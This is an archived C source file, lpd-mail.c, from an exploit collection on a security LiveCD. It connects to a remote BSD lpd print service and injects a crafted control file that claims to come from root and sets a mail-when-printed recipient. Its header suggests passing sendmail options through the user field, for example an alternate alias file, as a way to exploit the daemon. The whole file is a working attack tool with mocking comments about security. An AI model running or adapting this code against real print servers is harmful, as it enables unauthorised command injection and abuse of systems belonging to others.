home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / lpd-mail.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  208 lines

  1. /*
  2. ** lpd-mail.c
  3. **
  4. ** Experiments with the BSD-style 'lpd' protocol.
  5. ** Gus '98
  6. **
  7. ** Modified by Gamma to support sending "Mail When Printed". Use
  8. ** in conjunction with lpd-touch.
  9. **
  10. ** Notes: Potential exploitation of lpd by specifying alternate
  11. **        sendmail alias file to use etc.  However, there are several
  12. **        problems which come up to hinder progress.  Here is
  13. **        not the place to go into details, have a play around
  14. **        yourself.
  15. **
  16. **        Eg. ./lpd-mail localhost lp "-oA/var/spool/lpd/x" .
  17. **
  18. **        Will attempt to use /var/spool/lpd/x@..db as an alternative
  19. **        alias file.  Downfall is you are unable to specify a
  20. **        recipiant to pass to sendmail, it gets ran as uid 1 and
  21. **        cannot write to /var/spool/mqueue.  YMMV though depending
  22. **        on the version of Sendmail running.  Multiple versions
  23. **        of Sendmail always drops setuid though so no matter what
  24. **        alternate alias, sendmail.cf file you pass it, problems will
  25. **        arise when it comes to writing to /var/spool/mqueue.
  26. **
  27. ** References: RFC-1179
  28. **
  29. ** Greets: Gus for lpd-rm, pr0pane for mad discussions, Ao12M, #phuk
  30. **
  31. ** lpd-mail.c Send mail when print job has finished
  32. ** Usage: ./lpd-mail <target> <printer> <user> <userhost>
  33. **
  34. */
  35.  
  36.  
  37. #include <stdio.h>
  38. #include <stdlib.h>
  39. #include <unistd.h>
  40. #include <fcntl.h>
  41. #include <sys/socket.h>
  42. #include <sys/types.h>
  43. #include <netinet/in.h>
  44. #include <netdb.h>
  45. #include <errno.h>
  46.  
  47.  
  48.  
  49. /* Control codes for commands.           No spaces unless specified  */
  50. #define LPD_RECIEVE_JOB '\2'           /* \2 printername <lf> */
  51. #define CMD_RECIEVE_CONTROL_FILE '\2'  /* \2 size <space> name <lf> */
  52. #define CMD_RECIEVE_DATA_FILE '\3'     /* \3 size <space> name <lf> */
  53. #define CMD_CLASSNAME 'C'              /* C classname <lf> */
  54. #define CMD_HOSTNAME 'H'               /* H hostname <lf> */
  55. #define CMD_JOBNAME 'J'                /* J jobname <lf> */
  56. #define CMD_PRINTBANNERPAGE 'L'        /* L username <lf */
  57. #define CMD_MAIL_WHEN_PRINTED 'M'      /* M username@host <lf> */
  58. #define CMD_SOURCEFILENAME 'N'         /* N filename <lf> */
  59. #define CMD_USERNAME 'P'               /* P user-requesting-job <lf> */
  60. #define CMD_UNLINK 'U'                 /* U filename <lf> */
  61. #define CMD_PRINTFORMATTEDFILE 'f'     /* f Filename of pre-formatted text */
  62.  
  63.  
  64. void usage(char *);
  65. int doit(int ,char *,char *, char *, char *);
  66. int openhost (char *);
  67.  
  68.  
  69. int main (int argc, char *argv[])
  70. {
  71.  
  72.   int port,sock;
  73.   char *target,*printer,*user,*userhost;
  74.  
  75.   port = 0;
  76.   target = printer = user = userhost = NULL;
  77.  
  78.   fprintf(stderr,"'lpd-mail.c' - Gus'98 with mods by Gamma\n");
  79.   if (argc < 5) usage(argv[0]);
  80.  
  81.   if (getuid() != 0)
  82.     {
  83.       fprintf(stderr,"You must be root to run this.\n");
  84.       exit(-1);
  85.     }
  86.  
  87.   target = argv[1];
  88.   printer = argv[2];
  89.   user = argv[3];
  90.   userhost = argv[4];
  91.  
  92.   if ((sock = openhost(target)) > 0)
  93.     {
  94.       exit(doit(sock,printer,target,user,userhost));
  95.     }
  96.   else
  97.     {
  98.       exit(sock);
  99.     }
  100. }
  101.  
  102.  
  103. int openhost (char *target)
  104. {
  105.  
  106.   int sock;
  107.   struct hostent *he;
  108.   struct sockaddr_in sa;
  109.   int localport;
  110.  
  111.   he=gethostbyname(target);
  112.   if(he==NULL)
  113.     {
  114.       fprintf(stderr,"Bad hostname");
  115.       return (-1);
  116.     }
  117.  
  118.   /*
  119.   ** According to the RFC, the source port must be in the range 
  120.   ** of 721-731 inclusive.
  121.   */
  122.   srand(getpid());
  123.   localport = 721 + (int) (10.0*rand()/(RAND_MAX+1.0));
  124.  
  125.  
  126.   sock=socket(AF_INET,SOCK_STREAM,0);
  127.  
  128.   sa.sin_addr.s_addr=INADDR_ANY;
  129.   sa.sin_family=AF_INET;
  130.   sa.sin_port=htons(localport);
  131.  
  132.   bind(sock,(struct sockaddr *)&sa,sizeof(sa));
  133.   sa.sin_port=htons(515);
  134.  
  135.   memcpy(&sa.sin_addr,he->h_addr,he->h_length);
  136.   if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
  137.     {
  138.       perror("Can't connect");
  139.       return (-1);
  140.     }
  141.   else
  142.     {
  143.       fcntl(sock,F_SETFL,O_NONBLOCK);
  144.     }
  145.   printf("Source port: %d  : Connected...\n",localport);
  146.   return(sock);
  147. }
  148.  
  149.  
  150.  
  151. int doit(int sock,char *printer,char *target, char *user, char *userhost)
  152. {
  153.  
  154.   char hello[255];
  155.   char sendbuf[1024];
  156.   char respbuf[255];
  157.  
  158.   /* Hello Mr LPD. Can I print to <printer> please ? */
  159.   sprintf(sendbuf,"%c%s\n",LPD_RECIEVE_JOB,printer);
  160.   if ((write(sock,sendbuf,strlen(sendbuf)) != (strlen(printer)+2)))
  161.     {
  162.       perror("1 write");
  163.     }
  164.  
  165.   /* Why yes young man, what would you like me to do ? */
  166.   read(sock,respbuf,255);
  167.   /* fprintf(stderr,": %s\n",respbuf); */
  168.  
  169.  
  170.   /*  Would you be so kind as to carry out the commands in this file
  171.    *  as superuser without giving up any priviledges please ?
  172.    */
  173.   sprintf(sendbuf,"%c%s\n%croot\n%cmyjobname\n%c%s\n%croot\n%c%s\n%cdfA",
  174.           CMD_HOSTNAME,
  175.           userhost,
  176.           CMD_USERNAME,
  177.           CMD_JOBNAME,
  178.           CMD_CLASSNAME,
  179.           target,
  180.           CMD_PRINTBANNERPAGE,
  181.           CMD_MAIL_WHEN_PRINTED,
  182.           user,
  183.           CMD_PRINTFORMATTEDFILE);
  184.  
  185.   /* But of course young feller me lad! Security is for girls! */
  186.   sprintf(hello,"%c%d cfA12\n",
  187.           CMD_RECIEVE_CONTROL_FILE,
  188.           strlen(sendbuf));
  189.   printf("Sent hello.\n");
  190.   if (write(sock,hello,strlen(hello)) != strlen(hello)) perror("2 write");
  191.   if (write(sock,sendbuf,strlen(sendbuf)+1) != (strlen(sendbuf)+1))
  192.     {
  193.       perror("3 write");
  194.     }
  195.   printf("Sent command set.\n");
  196.   sleep(3);
  197.   shutdown(sock,2);
  198.  
  199.   return (0);
  200. }
  201.  
  202.  
  203. void usage (char *name)
  204. {
  205.   fprintf(stderr,"Usage: %s <target> <printer> <user> <userhost>\n",name);
  206.   exit(1);
  207. }
  208. /*                    www.hack.co.za              [2000]*/